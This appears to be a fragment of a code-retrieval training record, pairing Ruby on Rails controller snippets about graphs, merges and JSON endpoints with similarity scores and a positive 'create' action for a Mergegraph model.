"def create\n @admin_merge = Admin::Merge.new(merge_params)\n\n respond_to do |format|\n if @admin_merge.save\n format.html { redirect_to @admin_merge, notice: 'Merge was successfully created.' }\n format.json { render action: 'show', status: :created, location: @admin_merge }\n else\n format.html { render action: 'new' }\n format.json { render json: @admin_merge.errors, status: :unprocessable_entity }\n end\n end\n end",
"def get_versions\r\n versions_nodes = BankNodestructure.version_gather(params[:subject], params[:grade])\r\n render json: versions_nodes.to_json\r\n end",
"def merge!(graph)\n\t\t\tgraph=Graph.new(graph, **{}) unless Graph===graph\n\t\t\tbuild(*graph.all, recursive: false)\n\t\tend",
"def index\n @groupsIds = GroupsProssumer.where(prossumer_id: params[:prossumer_id]).pluck(:group_id)\n @groups = Group.where(id: @groups)\n render json: @groups\n end",
"def index\n respond_to do |format|\n format.html {\n @recent_objects = ProtocolRelationship.recent_from_project_id(sessions_current_project_id).order(updated_at: :desc).limit(10)\n render '/shared/data/all/index'\n }\n format.json {\n @protocol_relationships = ::Queries::ProtocolRelationship::Filter.new(params).all.where(project_id: sessions_current_project_id).\n page(params[:page]).per(params[:per] || 500)\n }\n end\n end",
"def new\n @graph = Graph.create(:user_id => current_user_id)\n\n respond_to do |format|\n format.html { redirect_to edit_graph_path(@graph.string_id) }\n format.json { render json: @graph }\n end\n end",
"def show\n @graph = Graph.find(params[:id])\n \n Action.log :controller => params[:controller], :action => params[:action], :target_id => params[:id], :user => current_user\n\n respond_to do |format|\n format.html { render :layout => !request.xhr? } # show.html.erb\n format.json { render :partial => 'graph', :locals => {:graph => @graph} }\n end\n end",
"def index\n @groups = Group.all\n\n respond_to do |format|\n format.html\n format.json { render json: @groups }\n end\n end",
"def index\n @grupos = Grupo.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @grupos }\n end\n end",
"def show\n @neighborhood = Neighborhood.find_by_slug(params[:id])\n @branches = Branch.select(\"DISTINCT branches.id, branches.name, branches.slug\")\n .joins(\"INNER JOIN interviews ON interviews.branch_id = branches.id\")\n .where(\"interviews.neighborhood_id = ? AND is_demo = ?\", @neighborhood.id, 0)\n .order(\"name\")\n \n # @branches = Branch.all\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @neighborhood }\n end\n end",
"def new\n @expression_merge_list = ExpressionMergeList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @expression_merge_list }\n end\n end",
"def merge_request(id)\n url = merge_request_url(id) + \".xml\"\n doc = Nokogiri::HTML(open(url))\n ending_commit = doc.at(\"ending-commit\").content\n merge_base_sha = doc.xpath('//versions/version').last.at('merge_base_sha').content\n summary = doc.at(\"summary\").content\n proposal = doc.at(\"proposal\").content\n result = MergeRequest.new\n result.ending_commit = ending_commit\n result.merge_base_sha = merge_base_sha\n result.summary = summary\n result.id = id\n result.proposal = proposal\n result\n end",
"def orchio_get_graph(kind)\n # add_relation_kind kind\n if cache.enabled? and response = cache_request.get_graph(id, kind)\n if response.header.status == :cache\n docs = response.body.documents\n count = docs.length\n end\n else\n response = client.send_request :get, inst_args(kind: kind)\n docs = response.body.results.map { |result|\n Document.new(\n result['value'].merge(id: result['path']['key']),\n Metadata.new(\n :collection => result['path']['collection'],\n :key => result['path']['key'],\n :ref => result['path']['ref'],\n :kind => kind,\n :from_collection => ocollection,\n :from_key => @id,\n ))}\n cache.save_graph(id, kind) if cache.enabled? and count == 0\n end\n Result.new(\n status: orchio_status(response, 200),\n response: response,\n count: response.body.count,\n results: docs\n )\n end",
"def another\n #find the package that they chose\n package = GenPackage.find_by_id(params[:choose])\n #sends the vales of the package into an array\n array = []\n array << package.id\n array << package.name\n array << package.image.url\n # result = package.to_json(only: [:id,:name,:image])\n #change the html so that it shows that a new package has been chosen\n result = array.to_json\n respond_to do |format|\n format.html { render json: result, status: :ok }\n end\n end",
"def index\n add_breadcrumb 'Your hubs', :hubs_path\n add_breadcrumb @hub.name, hub_path(@hub)\n add_breadcrumb 'Groups', hub_groups_path(@hub)\n append_title \"#{@hub.name} Groups\"\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @groups }\n end\n end",
"def get (name:, database: Arango.current_database)\n args = { graph: name }\n result = Arango::Requests::Graph::Get.execute(server: database.server, args: args)\n from_results({}, result.graph, database: database)\n end",
"def index\n #@server_nodes = ServerNode.all, :order => 'created_at DESC'\n \n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @server_nodes }\n end\n end",
"def index\n @page_charts = Usagerecord.select(\"homepage, count(id) as requests\" ).group(\"homepage\")\n\n #Order.select(\"date(created_at) as ordered_date, sum(price) as total_price\").group(\"date(created_at)\")\n\n #SELECT date(created_at) as ordered_date, sum(price) as total_price FROM orders GROUP BY date(created_at)\n\n #select browser, count(id) from usagerecords group by browser\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @page_charts }\n end\n\t\n end",
"def index\n @groups = Group.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n end",
"def index\n @groups = Group.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n end",
"def index\n @group_comments = GroupComment.all\n\n render json: @group_comments\n end",
"def api_v1_graph_params\n params.fetch(:api_v1_graph, {})\n end",
"def show\n @combined_image = CombinedImage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @combined_image }\n end\n end",
"def index\n @jido_grp_rels = JidoGrpRel.find(:all)\n if params[:sort]==\"grp\"\n @jido_grp_rels = JidoGrpRel.find(:all, :order => :group_id )\n end\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @jido_grp_rels }\n end\n end",
"def stacked_line_chart_data\n battle = Battle.find(params[:battle_id])\n data = []\n\n battle.hashtags.each do |h|\n data << h.get_stacked_evolution_data(from: battle.created_at)\n end\n\n render json: data\n end",
"def regions\n @regions = Region.all\n\n render json: @regions.to_json(:include => :vertices)\n end",
"def index\r\n @orgs = Org.all\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @orgs }\r\n end\r\n end",
"def set_api_v1_graph\n @api_v1_graph = Api::V1::Graph.find(params[:id])\n end",
"def json_index_bundles\n\n @bundles = Bundle.where(\"active = 'y'\").order(:id)\n respond_to do |format|\n format.json { render json: @bundles.as_json()\n\n }\n end\n\n end",
"def convert_to_json(graph)\n hash = JSON.parse graph.dump(:jsonld, context: ValidatorApp.jsonld_context[:file].dup)\n hash.key?(\"@graph\") ? nest(hash) : []\n end",
"def index\n #chart = Chart.find(params[:chart_id])\n chart = Chart.where(\"id = ? AND user_id = ?\", params[:chart_id], current_user.id).limit(1)[0]\n data_sets = chart.data_sets.all\n\n respond_with(data_sets) do |format|\n \t#response string in specified format\n format.json { render json: { success: true, data_sets: data_sets } }\n end\n end",
"def merge_requests\n merge_requests = MergeRequestsFinder.new(current_user).execute\n unless default_project_filter\n merge_requests = merge_requests.in_projects(project_ids_relation)\n end\n\n merge_requests =\n if query =~ /[#!](\\d+)\\z/\n merge_requests.where(iid: $1)\n else\n merge_requests.full_search(query)\n end\n\n merge_requests.reorder('updated_at DESC')\n end",
"def index\n @groups = Group.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @groups }\n end\n end",
"def index\n @branch_rooms = Room.get_all_rooms(params[:branch_id])\n \n render json: @branch_rooms\n end",
"def new\n @connection_group = ConnectionGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @connection_group }\n end\n end",
"def index\n if params[:id] then\n @nodes = Node.find_all_by_id(params[:id].split(','), :include => [:previous_nodes, :next_nodes, :related_nodes_A, :related_nodes_B])\n else\n @nodes = Node.all :include => [:previous_nodes, :next_nodes, :related_nodes_A, :related_nodes_B]\n end\n \n Action.log :controller => params[:controller], :action => params[:action], :user => current_user\n\n respond_to do |format|\n format.html { render :layout => !request.xhr? } # index.html.erb\n format.json #{ render json: @nodes }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @patron_merge }\n end\n end",
"def index\n respond_to do |format|\n format.html do\n @recent_objects = BiologicalRelationship.recent_from_project_id(sessions_current_project_id).order(updated_at: :desc).limit(10)\n render '/shared/data/all/index'\n end\n format.json {\n @biological_relationships = BiologicalRelationship.with_project_id(sessions_current_project_id).order(:name)\n }\n end\n end",
"def index\n\n respond_to do |format|\n format.html { @boards = Board.where network_id: current_user.network_id }\n format.json { @boards = Board.where network_id: current_user.network_id }\n \n end\n end",
"def index\n @nodes = Node.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @nodes }\n end\n end",
"def graph\n begin\n FileUtils.mkdir_p self.location_of_graphs unless Dir.exist? self.location_of_graphs\n first = ::Ms::ComparisonGrapher.slice_matches self.msrun_firsts\n second = ::Ms::ComparisonGrapher.slice_matches self.msrun_seconds\n files = ::Ms::ComparisonGrapher.graph_matches first, second, self.location_of_graphs\n rescue StandardError => e\n Rails.logger.error \"Graphing failed inside Comparison#graph. Ruh oh! #{e.class}: #{e.message} \\n#{e.backtrace}\"\n Alert.create({ :email => false, :show => true, :description => \"Error creating the comparison graphs.\" })\n FileUtils.remove_dir self.location_of_graphs if Dir.exist? self.location_of_graphs\n end\n end",
"def overlap_graph(kmer_a)\n <<-DOC\n CODE CHALLENGE: Solve the Overlap Graph Problem (restated below).\n Input: A collection Patterns of k-mers.\n Output: The overlap graph Overlap(Patterns), in the form of an adjacency list.\n DOC\n # puts kmer_a\n graph = {}\n (0..(kmer_a.length-1)).each do |i|\n (0..(kmer_a.length-1)).each do |j|\n unless i == j\n # puts kmer_a[i] + \" \" + kmer_a[j]\n # puts \"suffix \" + kmer_suffix(kmer_a[i])\n # puts \"prefix \" + kmer_prefix(kmer_a[j])\n if kmer_suffix(kmer_a[i]) == kmer_prefix(kmer_a[j])\n # puts \"matched\"\n if graph.has_key?(kmer_a[i])\n graph[kmer_a[i]] << kmer_a[j]\n else\n graph[kmer_a[i]] = [kmer_a[j]]\n end\n end\n end\n end\n end\n\n # puts graph\n return graph\n end"
] |
[
"0.64456177",
"0.62740463",
"0.62140226",
"0.62084645",
"0.6010337",
"0.589591",
"0.5892351",
"0.58152014",
"0.5772294",
"0.56784415",
"0.5654116",
"0.5653906",
"0.56126606",
"0.54976624",
"0.54972005",
"0.5455182",
"0.5449849",
"0.54205143",
"0.5407079",
"0.5405673",
"0.537895",
"0.5297873",
"0.5296185",
"0.5294456",
"0.5254329",
"0.52442694",
"0.5234184",
"0.52308774",
"0.5214243",
"0.52078944",
"0.52013373",
"0.519319",
"0.5175264",
"0.5139922",
"0.5129691",
"0.5127391",
"0.51187694",
"0.51013225",
"0.5100284",
"0.5096528",
"0.5081008",
"0.5077448",
"0.50492436",
"0.5046061",
"0.50437844",
"0.50385666",
"0.5038041",
"0.5007412",
"0.4997295",
"0.49920818",
"0.49918008",
"0.4986417",
"0.49862304",
"0.49855918",
"0.49784064",
"0.49767277",
"0.49662936",
"0.49575633",
"0.49375832",
"0.49271914",
"0.4925596",
"0.49130237",
"0.48949403",
"0.48922312",
"0.48879918",
"0.48854858",
"0.4881713",
"0.4875072",
"0.48662716",
"0.48656723",
"0.48596337",
"0.48556215",
"0.48402157",
"0.48392004",
"0.48325834",
"0.48316613",
"0.48303443",
"0.48249942",
"0.48249942",
"0.4824257",
"0.48207992",
"0.48204207",
"0.48173988",
"0.48151878",
"0.4815058",
"0.48134828",
"0.480857",
"0.48057094",
"0.48032135",
"0.4802975",
"0.48016703",
"0.48013762",
"0.4798673",
"0.47911438",
"0.47895396",
"0.47884193",
"0.4785064",
"0.47701424",
"0.47651824",
"0.47640595",
"0.47614494"
] |
0.0
|
-1
|
POST /mergegraphs POST /mergegraphs.json
|
def create
@mergegraph = Admin::Mergegraph.new(mergegraph_params)
respond_to do |format|
if @mergegraph.save
format.html { redirect_to @mergegraph, notice: 'Mergegraph was successfully created.' }
format.json { render action: 'show', status: :created, location: @mergegraph }
else
@merge = Admin::Merge.find(@mergegraph.merge_id)
format.html { render action: 'new' }
format.json { render json: @mergegraph.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def mergegraph_params\n params.require(:admin_mergegraph).permit(:merge_id, :graph_id, :side, :y, :vieworder)\n end",
"def create\n @graph = Graph.new(params[:graph])\n\n respond_to do |format|\n if @graph.save\n Action.log :controller => params[:controller], :action => params[:action], :target_id => @graph.id, :user => current_user\n format.html { redirect_to @graph, notice: 'Graph was successfully created.' }\n format.json { render json: @graph, status: :created, location: @graph }\n else\n @graph.graph_membership_graphs.build\n @graph.graph_membership_nodes.build\n format.html { render action: \"new\", :layout => !request.xhr? }\n format.json { render json: @graph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_mergegraph\n @mergegraph = Admin::Mergegraph.find(params[:id])\n merge_id = @mergegraph.merge_id\n @merge = Admin::Merge.find(merge_id)\n end",
"def destroy\n @mergegraph.destroy\n respond_to do |format|\n format.html { redirect_to admin_mergegraph_url }\n format.json { head :no_content }\n end\n end",
"def create\n @merge = Merge.new(merge_params)\n\n respond_to do |format|\n if @merge.save\n format.html { redirect_to @merge, notice: 'Merge was successfully created.' }\n format.json { render :show, status: :created, location: @merge }\n else\n format.html { render :new }\n format.json { render json: @merge.errors, status: :unprocessable_entity }\n end\n end\n end",
"def postCategoryMerge( from, to)\n params = Hash.new\n params['from'] = from\n params['to'] = to\n return doCurl(\"post\",\"/category/merge\",params)\n end",
"def create\n @series_statement_merge = SeriesStatementMerge.new(params[:series_statement_merge])\n\n respond_to do |format|\n if @series_statement_merge.save\n flash[:notice] = t('controller.successfully_created', :model => t('activerecord.models.series_statement_merge'))\n format.html { redirect_to(@series_statement_merge) }\n format.json { render :json => @series_statement_merge, :status => :created, :location => @series_statement_merge }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @series_statement_merge.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @mergegraph.update(mergegraph_params)\n format.html { redirect_to @mergegraph, notice: 'Mergegraph was successfully updated.' }\n format.json { head :no_content }\n else\n @merge = Admin::Merge.find(@mergegraph.merge_id)\n format.html { render action: 'edit' }\n format.json { render json: @mergegraph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def merge\n @node = Node.find(params[:id])\n # we should somehow signal to the user that this is going to take some time?\n debugger\n merged = @node.merge_all_leaves\n # response.headers['Content-Type'] = 'text/xml' # I've also seen this for CSV files: 'text/csv; charset=iso-8859-1; header=present'\n # response.headers['Content-Disposition'] = 'attachment; filename=merged.otml'\n send_data merged, :type => 'text/xml', :disposition => 'attachment; filename=merged.otml'\n end",
"def create\n @admin_merge = Admin::Merge.new(merge_params)\n\n respond_to do |format|\n if @admin_merge.save\n format.html { redirect_to @admin_merge, notice: 'Merge was successfully created.' }\n format.json { render action: 'show', status: :created, location: @admin_merge }\n else\n format.html { render action: 'new' }\n format.json { render json: @admin_merge.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @graph_membership_graph = GraphMembershipGraph.new(params[:graph_membership_graph])\n\n respond_to do |format|\n if @graph_membership_graph.save\n format.html { redirect_to @graph_membership_graph, notice: 'Graph membership graph was successfully created.' }\n format.json { render json: @graph_membership_graph, status: :created, location: @graph_membership_graph }\n else\n format.html { render action: \"new\" }\n format.json { render json: @graph_membership_graph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @graph = Graph.where(id: graph_params[:id]).first\n if @graph\n @graph.update(graph_params)\n else\n @graph = Graph.new(graph_params.merge(users_id: @user.id))\n end\n\n #DownWorker.perform_async(@graph['image_link'])\n\n #respond_to do |format|\n if @graph.save\n render json: @graph\n else\n render json: @graph.errors, status: :unprocessable_entity\n end\n #end\n end",
"def create\n @series_statement_merge = SeriesStatementMerge.new(series_statement_merge_params)\n\n respond_to do |format|\n if @series_statement_merge.save\n flash[:notice] = t('controller.successfully_created', model: t('activerecord.models.series_statement_merge'))\n format.html { redirect_to(@series_statement_merge) }\n format.json { render json: @series_statement_merge, status: :created, location: @series_statement_merge }\n else\n format.html { render action: \"new\" }\n format.json { render json: @series_statement_merge.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @graph = Graph.new(graph_params)\n\n respond_to do |format|\n if @graph.save\n format.html { redirect_to @graph, notice: 'Graph was successfully created.' }\n format.json { render action: 'show', status: :created, location: @graph }\n else\n format.html { render action: 'new' }\n format.json { render json: @graph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @gauge_graph = GaugeGraph.new(gauge_graph_params)\n\n respond_to do |format|\n if @gauge_graph.save\n format.html { redirect_to edit_gauge_graph_path(@gauge_graph), notice: 'Gauge graph was successfully created.' }\n format.json { render :edit, status: :created, location: @gauge_graph }\n else\n format.html { render :new }\n format.json { render json: @gauge_graph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def graph_params\n params.require(:graph).permit(:graph_label, :graph_type, :x_field, :y_field, :separator_fields, :data_json)\n end",
"def new\n @series_statement_merge = SeriesStatementMerge.new\n @series_statement_merge.series_statement = @series_statement\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @series_statement_merge }\n end\n end",
"def generate_graph\n nodes = User.where(team_id: @team.id)\n links = []\n\n (0..nodes.length-1).to_a.each do |index1|\n\n (0..nodes.length-1).to_a.each do |index2|\n\n if index1 != index2 \n message_count = Message.where(user_id_from: nodes[index1].id, user_id_to: nodes[index2].id).length\n link = {\n source: index1,\n target: index2,\n value: message_count\n }\n links.push(link)\n end\n\n end\n\n end\n render json: {\n nodes: nodes,\n links: links\n }\n rescue Exception => e\n render json: {error: e.message}\n end",
"def create\n @bar_graph = BarGraph.new(bar_graph_params)\n\n respond_to do |format|\n if @bar_graph.save\n format.html { redirect_to edit_bar_graph_path(@bar_graph), notice: 'Bar graph was successfully created.' }\n format.json { render :edit, status: :created, location: @bar_graph }\n else\n format.html { render :new }\n format.json { render json: @bar_graph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_data(graph, context=\"\")\n synchronize do\n # Prepares the dir to connect with the repository\n dir = \"#{@options[\"host\"]}:#{@options[\"port\"]}/openrdf-sesame/repositories/#{@options[\"repo\"]}/statements?context=%3C#{CGI::escape(context)}%3E\"\n data = graph.serialize(:ntriples)\n\n # Adds the data to Sesame\n RestClient.post dir, data, :content_type=>select_type\n end\n end",
"def new\n @graph = Graph.new\n 3.times { @graph.graph_membership_graphs.build }\n 3.times { @graph.graph_membership_nodes.build }\n \n Action.log :controller => params[:controller], :action => params[:action], :user => current_user\n\n respond_to do |format|\n format.html { render :layout => !request.xhr? } # new.html.erb\n format.json { render json: @graph }\n end\n end",
"def merge!(graph)\n\t\t\tgraph=Graph.new(graph, **{}) unless Graph===graph\n\t\t\tbuild(*graph.all, recursive: false)\n\t\tend",
"def submit_merge\n categories_to_merge = params[:categories]\n \n merge_src = Category.find(params[:original_category_id])\n \n for category_to_merge in categories_to_merge\n next if category_to_merge[1] == \"0\"\n \n mergeCat = CategoryMerge.new\n mergeCat.merge_src = merge_src.name\n mergeCat.merge_target = category_to_merge.object_id \n mergeCat.save\n \n # Delete all the feed item categories that existing on other items\n feed_item_categories = FeedItemCategory.find_all_by_category_id(params[:original_category_id])\n for feed_item_category in feed_item_categories \n new_feed_item_category = FeedItemCategory.new\n new_feed_item_category.feed_item_id = feed_item_category.feed_item_id\n new_feed_item_category.category_id = category_to_merge[0]\n \n new_feed_item_category.save\n \n feed_item_category.delete\n end\n end\n \n merge_src.delete\n redirect_to '/category_organizer'\n end",
"def create\n begin\n success = ActiveRecord::Base.transaction do\n @graph = Graph.find_or_create(graph_params)\n $mfclient.post_graph(@graph.path, post_params)\n end\n rescue => e\n @graph = Graph.new(graph_params)\n @graph.valid?\n end\n\n respond_to do |format|\n if success\n format.html { redirect_to @graph, notice: 'Graph was successfully created.' }\n format.json { render action: 'show', status: :created, location: @graph }\n else\n format.html { render action: 'new' }\n format.json { render json: @graph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @title = \"Create Operations\"\n @operation = Operation.new(params[:operation])\n if request.xhr?\n if @operation.save \n @operation_counts_date = Operation.find(:all, :select => \"count(*) as count,start_date\", :group => \"start_date\")\n @operation_counts_status = Operation.find(:all, :select => \"count(*) as count,status\", :group => \"status\")\n render :update do |page|\n page.replace_html 'operation_graph', :partial => 'supervisions/operation_report', :locals => {:operation_counts_date => @operation_counts_date, :operation_counts_status => @operation_counts_status}\n end\n else\n render :nothing => true\n end\n else\n respond_to do |format|\n if @operation.save\n flash[:notice] = 'Operation was successfully created.'\n format.html { redirect_to(@operation) }\n format.xml { render :xml => @operation, :status => :created, :location => @operation }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @operation.errors, :status => :unprocessable_entity }\n end\n end\n end\n end",
"def index\n if params[:id] then\n @graphs = Graph.find_all_by_id(params[:id].split(','), :include => [:subgraphs, :nodes])\n else\n @graphs = Graph.all :include => [:subgraphs, :nodes]\n end\n \n Action.log :controller => params[:controller], :action => params[:action], :user => current_user\n\n respond_to do |format|\n format.html { render :layout => !request.xhr? } # index.html.erb\n format.json #{ render json: @graphs }\n end\n end",
"def create\n @conditioninfograph = Conditioninfograph.new(params[:conditioninfograph])\n\n respond_to do |format|\n if @conditioninfograph.save\n format.html { redirect_to @conditioninfograph, notice: 'Conditioninfograph was successfully created.' }\n format.json { render json: @conditioninfograph, status: :created, location: @conditioninfograph }\n else\n format.html { render action: \"new\" }\n format.json { render json: @conditioninfograph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def merge\n frm.link(:text=>\"Merge\").click\n AnnouncementsMerge.new(@browser)\n end",
"def create\n @api_v1_graph = Api::V1::Graph.new(api_v1_graph_params)\n\n respond_to do |format|\n if @api_v1_graph.save\n format.html { redirect_to @api_v1_graph, notice: 'Graph was successfully created.' }\n format.json { render :show, status: :created, location: @api_v1_graph }\n else\n format.html { render :new }\n format.json { render json: @api_v1_graph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def data\n @map = Map.find(params[:map_id])\n @categories = @map.categories\n p \"--------- @map ---------\"\n p @map.nodes.to_json\n response = { nodes: [], edges: []}\n @map.nodes.each do |n|\n response[:nodes] << {id: n.id, name: n.name, description: n.description}\n n.rels.each do |rel|\n start = idIndex(@map.nodes, rel.start_node.id)\n stop = idIndex(@map.nodes, rel.end_node.id)\n if !start.nil? && !stop.nil?\n response[:edges] << {source: start, target: stop, type: rel.rel_type }\n end\n end\n end\n index_offset = @map.nodes.count \n @categories.each do |n|\n response[:nodes] << {id: n.id, name: n.name}\n n.rels.each do |rel|\n start = idIndex(@map.nodes, rel.start_node.id)\n stop = idIndex(@categories, rel.end_node.id, index_offset)\n if !start.nil? && !stop.nil?\n response[:edges] << {source: start, target: stop, type: rel.rel_type }\n end\n end\n end\n p \"------------ response -----------\"\n puts response.to_json\n respond_to do |format|\n format.html { render 'graph/show'}\n format.json { render json: response}\n end\nend",
"def update\n\n # Technically, the object being transferred as part of the params[:document] parameter is\n # the transfer object that is created as part of graph.js, so it needs to get transformed into\n # native representation so it can be saved\n\n graphs = {}\n tags = {}\n nodes = {}\n edges = {}\n clusters= {}\n\n unless params[:document][:title].nil? || @document.title.eql?(params[:document][:title])\n @document.title = params[:document][:title]\n @document.save!\n end\n\n # Because apparently ruby doesn't memoize anything\n @document.graphs.each do |graph|\n graphs[graph.id] = graph\n\n graph.nodes.each do |node|\n nodes[node.id] = node\n end\n\n graph.edges.each do |edge|\n edges[edge.id] = edge\n end\n\n graph.tags.each do |tag|\n tags[tag.id] = tag\n end\n\n graph.clusters.each do |cluster|\n clusters[cluster.id] = cluster\n end\n\n end\n\n params[:document][:graphs].each do |graph_obj|\n\n graphs[graph_obj[:id]] = @document.graphs.create!(id: graph_obj[:id]) unless graphs.has_key?(graph_obj[:id])\n\n end\n\n params[:document][:clusters].each do |cluster_obj|\n\n graph = graphs[cluster_obj[:graph_id]]\n\n unless graph.nil?\n\n cluster = clusters[cluster_obj[:id]]\n\n if cluster.nil?\n cluster = graph.clusters.create!(id: cluster_obj[:id])\n clusters[cluster_obj[:id]] = cluster\n end\n\n cluster.import cluster_obj\n\n=begin\n cluster.label = cluster_obj[:label] unless cluster_obj[:label].nil? or cluster.label.eql?(cluster_obj[:label])\n\n if cluster_obj.has_key?(:color) && !cluster.color.eql?(cluster_obj[:color]) && !(cluster_obj[:color].match(%r{\\A#(\\h{6}|\\h{3}|\\h)\\z}).nil?)\n cluster.color = cluster_obj[:color]\n end\n\n cluster.shape = cluster_obj[:shape] unless !(cluster_obj.has_key?(:shape)) or cluster_obj[:shape].nil? or cluster.shape.eql?(cluster_obj[:shape])\n=end\n\n cluster.save!\n\n end\n\n end\n\n params[:document][:tags].each do |tag_obj|\n\n graph = graphs[tag_obj[:graph_id]]\n\n unless graph.nil?\n\n tag = tags[tag_obj[:id]]\n\n if tag.nil?\n tag = graph.tags.create!(id: tag_obj[:id])\n tags[tag_obj[:id]] = tag\n end\n\n tag.import tag_obj\n\n=begin\n tag.name = tag_obj[:name] unless tag_obj[:name].nil? or tag.name.eql?(tag_obj[:name])\n\n if tag_obj.has_key?(:color) && !tag.color.eql?(tag_obj[:color]) && !(tag_obj[:color].match(%r{\\A#(\\h{6}|\\h{3}|\\h)\\z}).nil?)\n tag.color = tag_obj[:color]\n end\n\n if tag_obj.has_key?(:shape) && !tag.shape.eql?(tag_obj[:shape])\n tag.shape = tag_obj[:shape]\n end\n=end\n\n tag.save!\n\n end\n\n end\n\n params[:document][:nodes].each do |node_obj|\n\n graph = graphs[node_obj[:graph_id]]\n\n unless graph.nil?\n\n node = nodes[node_obj[:id]]\n\n if node.nil?\n node = graph.nodes.create!(id: node_obj[:id])\n nodes[node_obj[:id]] = node\n end\n\n node.label = node_obj[:label] unless node_obj[:label].nil? || node.label.eql?(node_obj[:label])\n node.shape = node_obj[:shape] unless node_obj[:shape].nil? || node.shape.eql?(node_obj[:shape])\n\n if node_obj.has_key?(:x) and node_obj.has_key?(:y)\n node.x = node_obj[:x]\n node.y = node_obj[:y]\n end\n\n if node_obj.has_key?(:tags) && node_obj[:tags].length > 0\n\n node.node_tags.each do |node_tag|\n if node_obj[:tags].include?(node_tag.tag_id)\n node_obj[:tags].delete(node_tag.tag_id)\n else\n node_tag.destroy\n end\n end\n\n node_obj[:tags].each do |tag_id|\n tag = tags[tag_id]\n unless tag.nil?\n node.tags << tag\n end\n end\n\n\n if node.node_tags.empty?\n node.primary_tag = nil\n elsif node_obj.has_key?(:group)\n\n node.primary_tag = nil\n\n unless node_obj[:group].nil? || !tags.has_key?(node_obj[:group])\n node.primary_tag = tags[node_obj[:group]]\n end\n\n end\n\n else\n node.node_tags.destroy_all\n node.primary_tag = nil\n end\n\n if node_obj.has_key?(:cluster) && !node_obj[:cluster].nil?\n cluster = clusters[node_obj[:cluster]]\n unless cluster.nil?\n node.cluster = cluster\n end\n else\n node.cluster = nil\n end\n\n node.icon = node_obj[:icon] if node_obj.has_key?(:icon)\n\n node.save!\n\n end\n\n end\n\n params[:document][:edges].each do |edge_obj|\n\n graph = graphs[edge_obj[:graph_id]]\n node_from = nodes[edge_obj[:from]]\n node_to = nodes[edge_obj[:to]]\n\n unless graph.nil? || node_from.nil? || node_to.nil?\n\n edge = edges[edge_obj[:id]]\n\n if edge.nil?\n\n edge = graph.edges.new(id: edge_obj[:id], node_from: node_from, node_to: node_to)\n edges[edge_obj[:id]] = edge\n\n end\n\n edge.label = edge_obj[:label] unless edge_obj[:label].nil? || edge.label.eql?(edge_obj[:label])\n edge.save!\n\n end\n end\n\n params[:document][:removed_edges].each do |vis_id|\n edge = edges[vis_id]\n unless edge.nil?\n edge.destroy\n edges.delete(vis_id)\n end\n end\n\n params[:document][:removed_nodes].each do |vis_id|\n node = nodes[vis_id]\n unless node.nil?\n node.destroy\n nodes.delete(vis_id)\n end\n end\n\n head :no_content\n end",
"def forcemerge(options = nil)\n request(:post, \"_forcemerge\", options)\n end",
"def create\n source_ontology = LinkedData::Client::Models::Ontology.find_by_acronym(params[:map_from_bioportal_ontology_id]).first\n target_ontology = LinkedData::Client::Models::Ontology.find_by_acronym(params[:map_to_bioportal_ontology_id]).first\n source = source_ontology.explore.single_class(params[:map_from_bioportal_full_id])\n target = target_ontology.explore.single_class(params[:map_to_bioportal_full_id])\n values = {\n classes: {\n source.id => source_ontology.id,\n target.id => target_ontology.id\n },\n creator: session[:user].id,\n relation: params[:mapping_relation],\n comment: params[:mapping_comment]\n }\n @mapping = LinkedData::Client::Models::Mapping.new(values: values)\n @mapping_saved = @mapping.save\n if @mapping_saved.errors\n raise Exception, @mapping_saved.errors\n else\n @delete_mapping_permission = check_delete_mapping_permission(@mapping_saved)\n render json: @mapping_saved\n end\n end",
"def create\n @group_branch = GroupBranch.new(group_branch_params)\n\n respond_to do |format|\n if @group_branch.save\n format.html { redirect_to location_group_branches_path, notice: \"Grupo de Ramo (#{@group_branch.description}) foi cadastrado com sucesso\"}\n format.json { render :index, status: :created, Location: location_group_branches_path }\n else\n format.html { render :new }\n format.json { render json: @group_branch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @node = Node.new(params[:node])\n\n respond_to do |format|\n if @node.save\n Action.log :controller => params[:controller], :action => params[:action], :target_id => @node.id, :user => current_user\n format.html { redirect_to @node, notice: 'Node was successfully created.' }\n format.json { render json: @node, status: :created, location: @node }\n else\n @node.related_edges_B.build\n @node.incoming_edges.build\n @node.outgoing_edges.build\n format.html { render action: \"new\", :layout => !request.xhr? }\n format.json { render json: @node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def graph_params\n params.fetch(:graph, {})\n end",
